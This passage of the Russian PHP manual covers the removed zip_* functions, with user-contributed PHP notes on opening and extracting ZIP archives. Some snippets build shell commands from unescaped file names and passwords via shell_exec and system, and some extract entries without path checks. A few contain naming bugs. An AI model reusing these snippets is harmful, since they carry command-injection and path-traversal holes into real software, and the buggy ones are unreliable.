          $ERROR = 2;
    }
    else
       $ERROR = 1;

   return $ERROR_MSGS[$ERROR];

}
?>

---

example:

<?php
$error = unzip("d:/www/dir/", "zipname", 1);

echo $error;
?>

---

i hope this help you,
good bye.
ringu at mail dot ru 20-Aug-2005 06:12
i try to find function that will show exists file in zip archive or not. of course i not found it. and so write mine:

first will just check archive for list of files, if not found all files function return FALSE:

<?php
function zipx_entries_exists()
{
    $names=array();
    $args=func_get_args();
    $far_size=count($args);
    if($args[0])
        {
            for(; $zip_entry=zip_read($args[0]); $names[]= zip_entry_name($zip_entry));
            for($x=1; $x<=$far_size; $t+=in_array($args[$x], $names), $x++);
            return $t==--$far_size;
        }else{
             return 'No zip file in descriptor!';
        }
}

example:
$zip=zip_open('any_zip_file_zip');
var_dump(zip_entries_exists($zip, 'photo_1.jpg', 'photo_2.jpg'));

second function will try to find files in zip, if not found it return string with names of not found files with specified delimeter:

function zipx_entries_nonexists_list()
{
    $names=array();
    $args=func_get_args();
    $m=NULL;
    $far_size=count($args);
    if($args[0])
        {
            for(; $zip_entry=zip_read($args[0]); $names[]= zip_entry_name($zip_entry));
            for($x=2; $x<=$far_size; $m.=(in_array($args[$x], $names) ? NULL : $args[$x].$args[1]), $x++);
            return trim($m, $args[1]);
        }else{
             return 'No zip file in descriptor!';
        }
}
?>

example:
<?php
$zip=zip_open('any_zip_file_zip');
var_dump(zip_entries_nonexists_list($zip, '<br />', 'photo_1.jpg', 'photo_2.jpg'));
?>

it will return if not found files:
photo_1.jpg<br />photo_2.jpg
tom 27-Jun-2005 09:33
If you just want to unzip a zip folder an alternative to some of the lengthy functions below is:

<?php

function unzip($zip_file, $src_dir, $extract_dir)
{
 copy($src_dir . "/" . $zip_file, $extract_dir . "/" . $zip_file);
 chdir($extract_dir);
 shell_exec("unzip $zip_file");
}

?>

You don't need the ZIP extension for this.
candido1212 at yahoo dot com dot br 27-Apr-2005 08:52
New Unzip function, recursive extract
Require mkdirr() (recursive create dir)

<?php
$file = "2537c61ef7f47fc3ae919da08bcc1911.zip";
$dir = getcwd();
function Unzip($dir, $file, $destiny="")
{
    $dir .= DIRECTORY_SEPARATOR;
    $path_file = $dir . $file;
    $zip = zip_open($path_file);
    $_tmp = array();
    $count=0;
    if ($zip)
    {
        while ($zip_entry = zip_read($zip))
        {
            $_tmp[$count]["filename"] = zip_entry_name($zip_entry);
            $_tmp[$count]["stored_filename"] = zip_entry_name($zip_entry);
            $_tmp[$count]["size"] = zip_entry_filesize($zip_entry);
            $_tmp[$count]["compressed_size"] = zip_entry_compressedsize($zip_entry);
            $_tmp[$count]["mtime"] = "";
            $_tmp[$count]["comment"] = "";
            $_tmp[$count]["folder"] = dirname(zip_entry_name($zip_entry));
            $_tmp[$count]["index"] = $count;
            $_tmp[$count]["status"] = "ok";
            $_tmp[$count]["method"] = zip_entry_compressionmethod($zip_entry);

            if (zip_entry_open($zip, $zip_entry, "r"))
            {
                $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
                if($destiny)
                {
                    $path_file = str_replace("/",DIRECTORY_SEPARATOR, $destiny . zip_entry_name($zip_entry));
                }
                else
                {
                    $path_file = str_replace("/",DIRECTORY_SEPARATOR, $dir . zip_entry_name($zip_entry));
                }
                $new_dir = dirname($path_file);

                // Create Recursive Directory
                mkdirr($new_dir);

                $fp = fopen($dir . zip_entry_name($zip_entry), "w");
                fwrite($fp, $buf);
                fclose($fp);

                zip_entry_close($zip_entry);
            }
            echo "\n</pre>";
            $count++;
        }

        zip_close($zip);
    }
}
Unzip($dir,$file);
?>
22-Feb-2005 08:54
If (as me) all you wanted to do is store a big string (for example, a serialized array or the like) in a mysql BLOB field, remember that mysql has a COMPRESS() and UNCOMPRESS() pair of functions that do exactly that. Compression/decompression is therefore available also when accessing the DB from other languages like java, etc.
krishnendu at spymac dot com 31-May-2004 01:28
If you want to unzip an password protected file with php..try the following command....it works in Unix/Apache environment...I haven't tested in any other environment...

system("`which unzip` -P Password $zipfile -d $des",$ret_val)

Where $zipfile is the path to the .zip to be unzipped and $des is path to the destination directory.....here both absolute and relative path to the script (which contains this system command) will work...

if everything runs well...file should be unzipped at the $des directory..and you will get 0 value for $ret_val , which means success(info-zip.org)

Regards
Krishnendu
travis 17-Jun-2003 10:06
just a not of caution--using the dynamic zip class mentioned earlier seems to cause issues with high ascii characters (their values are not preserved correctly, and the file will not unzip)
chris 22-Mar-2003 10:32
Watch out with archives that contain subfolders if you're using the zip functions to extract archives to actual files.  Let's say you're trying to extract foldername/filename.txt from the archive.  You can't fopen a directory that doesn't exist, so you'll have to check for the existance of directory foldername and create it if it isn't found, then fopen foldername/filename.txt and begin writing to that.


Закрывает дескриптор ZIP-архива

  • « Функции Zip
  • zip_entry_close »
  • PHP Manual
  • Функции Zip
  • Закрывает дескриптор ZIP-архива

zip_close

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_close — Закрывает дескриптор ZIP-архива

Внимание

Эта функция была УДАЛЕНА в PHP 8.0.0. Использование этой функции не рекомендуется.

Описание

zip_close(resource $zip): void

Закрывает дескриптор ZIP-архива.

Список параметров

zip

ZIP-файл должен быть открыт с помощью функции zip_open().

Возвращаемые значения

Функция не возвращает значения после выполнения.

Список изменений

Версия | Описание
8.0.0 | Функция устарела в пользу Object API, смотрите ZipArchive::close().

Смотрите также

  • zip_open() - Открывает ZIP-архив
  • zip_read() - Считывает следующую запись в ZIP-архиве

User Contributed Notes

There are no user contributed notes for this page.


Закрывает дескриптор директории

  • « zip_close
  • zip_entry_compressedsize »
  • PHP Manual
  • Функции Zip
  • Закрывает дескриптор директории

zip_entry_close

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_entry_close — Закрывает дескриптор директории

Внимание

Эта функция была УДАЛЕНА в PHP 8.0.0. Использование этой функции не рекомендуется.

Описание

zip_entry_close(resource $zip_entry): bool

Закрывает заданный дескриптор директории.

Список параметров

zip_entry

Дескриптор директории, ранее открытый функцией zip_entry_open().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Функция устарела в пользу Object API.

Смотрите также

  • zip_entry_open() - Открывает директорию для чтения
  • zip_entry_read() - Читает данные из открытого ранее дескриптора директории

User Contributed Notes

There are no user contributed notes for this page.


Возвращает сжатый размер файла для дескриптора директории

  • « zip_entry_close
  • zip_entry_compressionmethod »
  • PHP Manual
  • Функции Zip
  • Возвращает сжатый размер файла для дескриптора директории

zip_entry_compressedsize

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_entry_compressedsize — Возвращает сжатый размер файла для дескриптора директории

Внимание

Эта функция была УДАЛЕНА в PHP 8.0.0. Использование этой функции не рекомендуется.

Описание

zip_entry_compressedsize(resource $zip_entry): int|false

Возвращает сжатый размер заданного дескриптора директории.

Список параметров

zip_entry

Дескриптор директории, возвращаемый функцией zip_read().

Возвращаемые значения

Сжатый размер дескриптора директории или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Функция устарела в пользу Object API, смотрите ZipArchive::statIndex().

Смотрите также

  • zip_open() - Открывает ZIP-архив
  • zip_read() - Считывает следующую запись в ZIP-архиве

User Contributed Notes

There are no user contributed notes for this page.


Возвращает метод сжатия дескриптора директории

  • « zip_entry_compressedsize
  • zip_entry_filesize »
  • PHP Manual
  • Функции Zip
  • Возвращает метод сжатия дескриптора директории

zip_entry_compressionmethod

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_entry_compressionmethod — Возвращает метод сжатия дескриптора директории

Внимание

Эта функция была УДАЛЕНА в PHP 8.0.0. Использование этой функции не рекомендуется.

Описание

zip_entry_compressionmethod(resource $zip_entry): string|false

Возвращает метод сжатия дескриптора директории, заданного в zip_entry.

Список параметров

zip_entry

Дескриптор директории, возвращаемый функцией zip_read().

Возвращаемые значения

Метод сжатия или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Функция устарела в пользу Object API, смотрите ZipArchive::statIndex().

Смотрите также

  • zip_open() - Открывает ZIP-архив
  • zip_read() - Считывает следующую запись в ZIP-архиве

User Contributed Notes

There are no user contributed notes for this page.


Возвращает реальный размер файла для дескриптора директории

  • « zip_entry_compressionmethod
  • zip_entry_name »
  • PHP Manual
  • Функции Zip
  • Возвращает реальный размер файла для дескриптора директории

zip_entry_filesize

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_entry_filesize — Возвращает реальный размер файла для дескриптора директории

Внимание

Эта функция была УДАЛЕНА в PHP 8.0.0. Использование этой функции не рекомендуется.

Описание

zip_entry_filesize(resource $zip_entry): int|false

Возвращает реальный размер заданного дескриптора директории.

Список параметров

zip_entry

Дескриптор директории, возвращаемый функцией zip_read().

Возвращаемые значения

Реальный размер дескриптора директории или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Функция устарела в пользу Object API, смотрите ZipArchive::statIndex().

Смотрите также

  • zip_open() - Открывает ZIP-архив
  • zip_read() - Считывает следующую запись в ZIP-архиве

User Contributed Notes

Reflex 16-Jul-2010 05:17
Simple function that return total size of files in archive.
May be useful for check for zip bombs.

<?php

function get_zip_originalsize($filename) {
    $size = 0;
    $resource = zip_open($filename);
    while ($dir_resource = zip_read($resource)) {
        $size += zip_entry_filesize($dir_resource);
    }
    zip_close($resource);

    return $size;
}

$size = get_zip_originalsize('file.zip');
echo "original size: $size bytes\n";

?>


Получает имя дескриптора директории

  • « zip_entry_filesize
  • zip_entry_open »
  • PHP Manual
  • Функции Zip
  • Получает имя дескриптора директории

zip_entry_name

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_entry_name — Получает имя дескриптора директории

Внимание

Эта функция была УДАЛЕНА в PHP 8.0.0. Использование этой функции не рекомендуется.

Описание

zip_entry_name(resource $zip_entry): string|false

Возвращает имя заданного дескриптора директории.

Список параметров

zip_entry

Дескриптор директории, возвращаемый функцией zip_read().

Возвращаемые значения

Имя дескриптора директории или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Функция устарела в пользу Object API, смотрите ZipArchive::statIndex().

Смотрите также

  • zip_open() - Открывает ZIP-архив
  • zip_read() - Считывает следующую запись в ZIP-архиве

User Contributed Notes

kevyn at opsone dot net 20-Nov-2008 07:21
Big note for filename with accents.

Some Zip softwares encode accents with CP850.

So use iconv for keeping your accents SAFE !
leandro_dealmeida at hotmail dot com 27-Sep-2002 09:21
If you want to get the real name of the file without the directory name, you can just use the function basename() as the follow:

<?
$zip_dir = "./import/";
$zip = zip_open($zip_dir."import.zip");
if ($zip) {
    while ($zip_entry = zip_read($zip)) {

        $file = basename(zip_entry_name($zip_entry));
        $fp = fopen($zip_dir.basename($file), "w+");

        if (zip_entry_open($zip, $zip_entry, "r")) {
            $buf = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
            zip_entry_close($zip_entry);
        }

           fwrite($fp, $buf);
        fclose($fp);

        echo "The file ".$file." was extracted to dir ".$zip_dir."\n<br>";
    }
    zip_close($zip);
}
?>

Thefore you can extract files without concern with the directory that is set inside the zip source.

Remember to give write permission (w) on that directory.

Hello from Brazil.
Leandro


Открывает директорию для чтения

  • « zip_entry_name
  • zip_entry_read »
  • PHP Manual
  • Функции Zip
  • Открывает директорию для чтения

zip_entry_open

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_entry_open — Открывает директорию для чтения

Внимание

Эта функция была УДАЛЕНА в PHP 8.0.0. Использование этой функции не рекомендуется.

Описание

zip_entry_open(resource $zip_dp, resource $zip_entry, string $mode = "rb"): bool

Открывает директорию в ZIP-архиве для чтения.

Список параметров

zip_dp

Дескриптор, возвращаемый функцией zip_open().

zip_entry

Дескриптор директории, возвращаемый функцией zip_read().

mode

Доступные режимы приведены в документации к функции fopen().

Замечание:

В настоящее время параметр mode игнорируется и всегда имеет значение "rb". Это связано с тем, что ZIP в PHP поддерживается только в режиме чтения.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Замечание:

В отличие от функции fopen() и других подобных функций, значение, возвращаемое функцией zip_entry_open() только информирует нас о результате выполнения операции и не требуется для последующего чтения или закрытия дескриптора директории.

Список изменений

Версия | Описание
8.0.0 | Функция устарела в пользу Object API.

Смотрите также

  • zip_entry_close() - Закрывает дескриптор директории
  • zip_entry_read() - Читает данные из открытого ранее дескриптора директории

User Contributed Notes

jrhodes at roket-productions dot com 26-Nov-2008 03:21
'rb' is a valid mode, and means Read-Only Binary Mode.  This mode is used for portability reasons (see fopen).


Читает данные из открытого ранее дескриптора директории

  • « zip_entry_open
  • zip_open »
  • PHP Manual
  • Функции Zip
  • Читает данные из открытого ранее дескриптора директории

zip_entry_read

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_entry_read — Читает данные из открытого ранее дескриптора директории

Внимание

Эта функция была УДАЛЕНА в PHP 8.0.0. Использование этой функции не рекомендуется.

Описание

zip_entry_read(resource $zip_entry, int $len = 1024): string|false

Читает данные из открытого ранее дескриптора директории.

Список параметров

zip_entry

Дескриптор директории, возвращаемый функцией zip_read().

len

Число байт, которое нужно считать.

Замечание:

В параметре необходимо указывать объем данных, которые вы хотите считать, без учёта сжатия.

Возвращаемые значения

Возвращает считанные данные, пустую строку, если достигнут конец файла, или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | Функция устарела в пользу Object API, смотрите ZipArchive::getFromIndex().

Смотрите также

  • zip_entry_open() - Открывает директорию для чтения
  • zip_entry_close() - Закрывает дескриптор директории
  • zip_entry_filesize() - Возвращает реальный размер файла для дескриптора директории

User Contributed Notes

There are no user contributed notes for this page.


Открывает ZIP-архив

  • « zip_entry_read
  • zip_read »
  • PHP Manual
  • Функции Zip
  • Открывает ZIP-архив

zip_open

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_open — Открывает ZIP-архив

Внимание

Эта функция была УДАЛЕНА в PHP 8.0.0. Использование этой функции не рекомендуется.

Описание

zip_open(string $filename): resource|int|false

Открывает ZIP-архив для чтения.

Список параметров

filename

Имя файла ZIP-архива для открытия.

Возвращаемые значения

Возвращает ссылку на ресурс для последующего использования с функциями zip_read() и zip_close() либо возвращает номер ошибки, если filename не существует или в случае другой ошибки.

Список изменений

Версия | Описание
8.0.0 | Функция устарела в пользу Object API, смотрите ZipArchive::open().

Смотрите также

  • zip_read() - Считывает следующую запись в ZIP-архиве
  • zip_close() - Закрывает дескриптор ZIP-архива

User Contributed Notes

ohcc at 163 dot com 16-Dec-2015 10:31
The zip archive will NOT be saved on disk before ZipArchive::close() is called. (ZipArchive::close will be called automatically at the end of the script if you don't write that code.)

If you want to delete a file after adding it to the zip archive, you should delete it after ZipArchive::close() is called. Otherwise, the file will be deleted before actually being added into the archive, which will make your zip archive fail to be saved.

<?php
    $za = new ZipArchive();
    $za->open('./xc.zip', ZipArchive::CREATE|ZipArchive::OVERWRITE);
    $file = './notes.txt';
    if( true === $za->addFile($file)){
        unlink($file);
    }
    if(!$za->close()){
        echo 'failure.';
    }
?>
fuljencio at gmail dot com 13-Oct-2009 08:34
getting a mozilla addon version (a firefox extension, for instance):

<?php
    function get_addon_version($path)
    {
        // open zip
        $zip = zip_open($path);

            // find entry
            do {
                $entry = zip_read($zip);
            } while ($entry && zip_entry_name($entry) != "install.rdf");

            // open entry
            zip_entry_open($zip, $entry, "r");

                // read entry
                $entry_content = zip_entry_read($entry, zip_entry_filesize($entry));

                // position of <em:version>
                $version_open_pos = strpos($entry_content, "<em:version>");

                // position of </em:version>
                $version_close_pos = strpos($entry_content, "</em:version>", $version_open_pos);

                // version
                $version = substr(
                        $entry_content,
                        $version_open_pos + strlen("<em:version>"),
                        $version_close_pos - ($version_open_pos + strlen("<em:version>"))
                );

            // close entry
            zip_entry_close($entry);

        // close zip
        zip_close($zip);

        return $version;
    }
?>
strefrextor at gmail [.] com 13-Sep-2009 04:43
my basic extract zip file function

<?php
    function ezip($zip, $hedef = '')
    {
        $root = $_SERVER['DOCUMENT_ROOT'];
        $zip = zip_open($root . $zip);
        while($zip_icerik = zip_read($zip)):
            $zip_dosya = zip_entry_name($zip_icerik);
            if(strpos($zip_dosya, '.')):
                $hedef_yol = $root . $hedef . 'x/'.$zip_dosya;
                touch($hedef_yol);
                $yeni_dosya = fopen($hedef_yol, 'w+');
                fwrite($yeni_dosya, zip_entry_read($zip_icerik));
                fclose($yeni_dosya);
            else:
                @mkdir($root . $hedef . 'x/'.$zip_dosya);
            endif;
        endwhile;
    }

    ezip('files.zip', 'unzip_files/');
?>
david at php dot net 20-Jun-2009 03:32
Note that the Zip functions return an integer error number in the event of error. So:

<?php
$zip = zip_open($file);

if ($zip) {
?>

is incorrect. Instead use:

<?php
$zip = zip_open($file);

if (is_resource($zip)) {
?>
Anonymous 16-Sep-2008 11:17
Note, this function ignores custom stream wrappers, like the ones created by stream_wrapper_register - which is really too bad.
xsign dot dll at clansuite dot com 06-Sep-2008 09:22
If you want to simply extract a strain of a zip file, then use this func. Maybe it helps:

<?php
/**
* This method unzips a directory within a zip-archive
*
* @author Florian 'x!sign.dll' Wolf
* @license LGPL v2 or later
* @link http://www.xsigndll.de
* @link http://www.clansuite.com
*/

function extractZip( $zipFile = '', $dirFromZip = '' )
{
    define(DIRECTORY_SEPARATOR, '/');

    $zipDir = getcwd() . DIRECTORY_SEPARATOR;
    $zip = zip_open($zipDir.$zipFile);

    if ($zip)
    {
        while ($zip_entry = zip_read($zip))
        {
            $completePath = $zipDir . dirname(zip_entry_name($zip_entry));
            $completeName = $zipDir . zip_entry_name($zip_entry);

            // Walk through path to create non existing directories
            // This won't apply to empty directories ! They are created further below
            if(!file_exists($completePath) && preg_match( '#^' . $dirFromZip .'.*#', dirname(zip_entry_name($zip_entry)) ) )
            {
                $tmp = '';
                foreach(explode('/',$completePath) AS $k)
                {
                    $tmp .= $k.'/';
                    if(!file_exists($tmp) )
                    {
                        @mkdir($tmp, 0777);
                    }
                }
            }

            if (zip_entry_open($zip, $zip_entry, "r"))
            {
                if( preg_match( '#^' . $dirFromZip .'.*#', dirname(zip_entry_name($zip_entry)) ) )
                {
                    if ($fd = @fopen($completeName, 'w+'))
                    {
                        fwrite($fd, zip_entry_read($zip_entry, zip_entry_filesize($zip_entry)));
                        fclose($fd);
                    }
                    else
                    {
                        // We think this was an empty directory
                        mkdir($completeName, 0777);
                    }
                    zip_entry_close($zip_entry);
                }
            }
        }
        zip_close($zip);
    }
    return true;
}

// The call to exctract a path within the zip file
extractZip( 'clansuite.zip', 'core/filters' );
?>
alban dot lopez+php dot net at gmail dot com 16-Nov-2007 03:13
See this class to make, read Infos or extract ZIP archive.
see EasyArchive.class.php on http://ajaxbrowser.free.fr/ to manage like that ZIP, GZIP, BZIP and TAR archive.

<?
$ARCHIVE = new zip;

$ARCHIVE->makeZip('./','./toto.zip'); // make an ZIP archive
var_export($ARCHIVE->infosZip('./toto.zip'), false); // get infos of this ZIP archive (without files content)
var_export($ARCHIVE->infosZip('./toto.zip')); // get infos of this ZIP archive (with files content)
$ARCHIVE->extractZip('./toto.zip', './1/'); //

class zip
{
    public function infosZip ($src, $data=true)
    {
        if (($zip = zip_open(realpath($src))))
        {
            while (($zip_entry = zip_read($zip)))
            {
                $path = zip_entry_name($zip_entry);
                if (zip_entry_open($zip, $zip_entry, "r"))
                {
                    $content[$path] = array (
                        'Ratio' => zip_entry_filesize($zip_entry) ? round(100-zip_entry_compressedsize($zip_entry) / zip_entry_filesize($zip_entry)*100, 1) : false,
                        'Size' => zip_entry_compressedsize($zip_entry),
                        'NormalSize' => zip_entry_filesize($zip_entry));
                    if ($data)
                        $content[$path]['Data'] = zip_entry_read($zip_entry, zip_entry_filesize($zip_entry));
                    zip_entry_close($zip_entry);
                }
                else
                    $content[$path] = false;
            }
            zip_close($zip);
            return $content;
        }
        return false;
    }
    public function extractZip ($src, $dest)
    {
        $zip = new ZipArchive;
        if ($zip->open($src)===true)
        {
            $zip->extractTo($dest);
            $zip->close();
            return true;
        }
        return false;
    }
    public function makeZip ($src, $dest)
    {
        $zip = new ZipArchive;
        $src = is_array($src) ? $src : array($src);
        if ($zip->open($dest, ZipArchive::CREATE) === true)
        {
            foreach ($src as $item)
                if (file_exists($item))
                    $this->addZipItem($zip, realpath(dirname($item)).'/', realpath($item).'/');
            $zip->close();
            return true;
        }
        return false;
    }
    private function addZipItem ($zip, $racine, $dir)
    {
        if (is_dir($dir))
        {
            $zip->addEmptyDir(str_replace($racine, '', $dir));
            $lst = scandir($dir);
                array_shift($lst);
                array_shift($lst);
            foreach ($lst as $item)
                $this->addZipItem($zip, $racine, $dir.$item.(is_dir($dir.$item)?'/':''));
        }
        elseif (is_file($dir))
            $zip->addFile($dir, str_replace($racine, '', $dir));
    }
}
?>
flominator at gmx dot net 01-Aug-2007 06:49
@bisqwit at iki dot fi: If you're using older versions of PHP this skript might only read the first 8192 bytes. Great thing, anyway!
saulius at solmetra dot lt 18-Jun-2007 08:28
Some older PHP versions used to return false if zip_open failed, and newer versions return the number of error (as integer), so instead of this:

$zip = zip_open($zip_file);
if ($zip) {
  // consider zip file opened successfully
}

use this:

$zip = zip_open($zip_file);
if (is_resource($zip)) {
  // consider zip file opened successfully
}

You may also use this function to get the error message by it's number:

function zipFileErrMsg($errno) {
  // using constant name as a string to make this function PHP4 compatible
  $zipFileFunctionsErrors = array(
    'ZIPARCHIVE::ER_MULTIDISK' => 'Multi-disk zip archives not supported.',
    'ZIPARCHIVE::ER_RENAME' => 'Renaming temporary file failed.',
    'ZIPARCHIVE::ER_CLOSE' => 'Closing zip archive failed',
    'ZIPARCHIVE::ER_SEEK' => 'Seek error',
    'ZIPARCHIVE::ER_READ' => 'Read error',
    'ZIPARCHIVE::ER_WRITE' => 'Write error',
    'ZIPARCHIVE::ER_CRC' => 'CRC error',
    'ZIPARCHIVE::ER_ZIPCLOSED' => 'Containing zip archive was closed',
    'ZIPARCHIVE::ER_NOENT' => 'No such file.',
    'ZIPARCHIVE::ER_EXISTS' => 'File already exists',
    'ZIPARCHIVE::ER_OPEN' => 'Can\'t open file',
    'ZIPARCHIVE::ER_TMPOPEN' => 'Failure to create temporary file.',
    'ZIPARCHIVE::ER_ZLIB' => 'Zlib error',
    'ZIPARCHIVE::ER_MEMORY' => 'Memory allocation failure',
    'ZIPARCHIVE::ER_CHANGED' => 'Entry has been changed',
    'ZIPARCHIVE::ER_COMPNOTSUPP' => 'Compression method not supported.',
    'ZIPARCHIVE::ER_EOF' => 'Premature EOF',
    'ZIPARCHIVE::ER_INVAL' => 'Invalid argument',
    'ZIPARCHIVE::ER_NOZIP' => 'Not a zip archive',
    'ZIPARCHIVE::ER_INTERNAL' => 'Internal error',
    'ZIPARCHIVE::ER_INCONS' => 'Zip archive inconsistent',
    'ZIPARCHIVE::ER_REMOVE' => 'Can\'t remove file',
    'ZIPARCHIVE::ER_DELETED' => 'Entry has been deleted',
  );
  $errmsg = 'unknown';
  foreach ($zipFileFunctionsErrors as $constName => $errorMessage) {
    if (defined($constName) and constant($constName) === $errno) {
      return 'Zip File Function error: '.$errorMessage;
    }
  }
  return 'Zip File Function error: unknown';
}

$zip = zip_open($zip_file);
if (!is_resource($zip)) {
  die(zipFileErrMsg($zip));
}
ponsho 14-Dec-2005 12:44
For bisqwit at iki dot fi solution of alternative functions there's just one problem when trying to read the file thats because some bug in fread when handling from popen so it just load 8192 bytes here's the function corrected.

<?php

    function zip_entry_read(&$res, $nbytes)
    {
     while ($s = fgets($res['fp'],1024)) {
     $data  .= $s;
     }
      return $data;
    }
?>
barbarinasv at interfree dot it 05-Oct-2005 01:02
Function zip_entry_read() written by "bisqwit at iki dot fi" has to be modified to read entire files:

<?php
function zip_entry_read(&$res, $nbytes) {
    while (!feof($res['fp'])) {
        $contents .= fread($res['fp'], $nbytes);
    }
    return $contents;
}
?>
robert at cotran dot ca 21-Sep-2005 12:19
The zip_entry_read above is wrong.  Since the file was opened with popen, you have to read the file in chunks, so zip_entry_read should read:

function zip_entry_read(&$res, $nbytes)
{
    $contents = '';
    while (!feof($res['fp'])) {
        $contents .= fread($res['fp'], 8192);
    }
    return $contents;
}

Otherwise, it was a very useful library.  Thanks!
bisqwit at iki dot fi 02-Sep-2005 04:08
If your PHP installation does not have the zip_open function, and you can't install it for whatever reason, you can use these functions instead, if the server has access to the "unzip" utility (most Linux systems do).
So far I have tested these only in Fedora Core 3.
Use at your own risk.

<?php

function ShellFix($s)
{
  return "'".str_replace("'", "'\''", $s)."'";
}

function zip_open($s)
{
  $fp = @fopen($s, 'rb');
  if(!$fp) return false;

  $lines = Array();
  $cmd = 'unzip -v '.shellfix($s);
  exec($cmd, $lines);

  $contents = Array();
  $ok=false;
  foreach($lines as $line)
  {
    if($line[0]=='-') { $ok=!$ok; continue; }
    if(!$ok) continue;

    $length = (int)$line;
    $fn = trim(substr($line,58));

    $contents[] = Array('name' => $fn, 'length' => $length);
  }

  return
    Array('fp'       => $fp,
          'name'     => $s,
          'contents' => $contents,
          'pointer'  => -1);
}
function zip_read(&$fp)
{
  if(!$fp) return false;

  $next = $fp['pointer'] + 1;
  if($next >= count($fp['contents'])) return false;

  $fp['pointer'] = $next;
  return $fp['contents'][$next];
}
function zip_entry_name(&$res)
{
  if(!$res) return false;
  return $res['name'];
}
function zip_entry_filesize(&$res)
{
  if(!$res) return false;
  return $res['length'];
}
function zip_entry_open(&$fp, &$res)
{
  if(!$res) return false;

  $cmd = 'unzip -p '.shellfix($fp['name']).' '.shellfix($res['name']);

  $res['fp'] = popen($cmd, 'r');
  return !!$res['fp'];
}
function zip_entry_read(&$res, $nbytes)
{
  return fread($res['fp'], $nbytes);
}
function zip_entry_close(&$res)
{
  fclose($res['fp']);
  unset($res['fp']);
}
function zip_close(&$fp)
{
  fclose($fp['fp']);
}
?>


Считывает следующую запись в ZIP-архиве

  • « zip_open
  • Zlib »
  • PHP Manual
  • Функции Zip
  • Считывает следующую запись в ZIP-архиве

zip_read

(PHP 4 >= 4.1.0, PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.0.0)

zip_read — Считывает следующую запись в ZIP-архиве

Внимание

Эта функция была УДАЛЕНА в PHP 8.0.0. Использование этой функции не рекомендуется.

Описание

zip_read(resource $zip): resource|false

Считывает следующую запись в ZIP-архиве.

Список параметров

zip

ZIP-файл, предварительно открытый с помощью функции zip_open().

Возвращаемые значения

Возвращает запись каталога для дальнейшего использования с функциями zip_entry_..., или false, если больше нет записей для чтения, или код ошибки, если она произошла.

Список изменений

Версия | Описание
8.0.0 | Функция устарела в пользу Object API, смотрите ZipArchive::statIndex().

Смотрите также

  • zip_open() - Открывает ZIP-архив
  • zip_close() - Закрывает дескриптор ZIP-архива
  • zip_entry_open() - Открывает директорию для чтения
  • zip_entry_read() - Читает данные из открытого ранее дескриптора директории

User Contributed Notes

Anonymous 11-Jul-2019 07:18
*Here is a simple example*
<?php
$zp = zip_open('file.zip');

while ($file = zip_read($zp)) {
    echo  zip_entry_name($file).PHP_EOL;
}
?>

The output will be something similar to:

myfile.txt
mydir/
Christian 23-Mar-2013 11:29
Note: Only the first 65535 entries will be returned, even if your archive contains more entries. See https://bugs.php.net/bug.php?id=59118 for details.
nico at nicoswd dot com 29-Sep-2007 01:29
If you get an error like this:

Warning: zip_read() expects parameter 1 to be resource, integer given in xxxxxx on line x

It's because zip_open() failed to open the file and returned an error code instead of a resource. It took me a while to figure out why it failed to open the file, until I tried to use the FULL path to the file.

<?php

// Even if the file exists, zip_open() will return an error code.
$file = 'file.zip';
$zip = zip_open($file);

// The workaround:
$file = getcwd() . '/file.zip';

// Or:
$file = 'C:\\path\\to\\file.zip';

?>

This worked for me on Windows at least. I'm not sure about other platforms.


Zlib

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Примеры
  • Функции Zlib
    • deflate_add — Инкрементальное сжатие данных
    • deflate_init — Инициализировать контекст инкрементального сжатия
    • gzclose — Закрыть указатель открытого gz-файла
    • gzcompress — Сжать строку
    • gzdecode — Декодирует строку, сжатую с помощью gzip
    • gzdeflate — Сжимает строку
    • gzencode — Создать сжатую строку gzip
    • gzeof — Проверяет, находится ли текущая позиция в конце (EOF) gz-файла
    • gzfile — Считывает весь gz-файл в массив
    • gzgetc — Получить символ из указателя на gz-файл
    • gzgets — Получить строку из указателя файла
    • gzgetss — Возвращает строку из указателя gz-файла и удалить HTML-теги
    • gzinflate — Распаковать сжатую строку
    • gzopen — Открыть gz-файл
    • gzpassthru — Вывод всех оставшихся данных из указателя gz-файла.
    • gzputs — Псевдоним gzwrite
    • gzread — Бинарное чтение gz-файла
    • gzrewind — Переместить позицию указатель gz-файла в начало
    • gzseek — Переместить указатель на позицию в указателе gz-файла
    • gztell — Возвращает текущую позицию чтения/записи в указателе gz-файла
    • gzuncompress — Распаковать сжатую строку
    • gzwrite — Бинарная запись в gz-файл
    • inflate_add — Инкрементальное распаковать закодированные данные
    • inflate_get_read_len — Получает количество прочитанных байт
    • inflate_get_status — Получает статус декомпрессии
    • inflate_init — Инициализация контекста инкрементальной распаковки
    • readgzfile — Выводит содержимое gz-файла
    • zlib_decode — Распаковывает любые закодированные данные raw/gzip/zlib
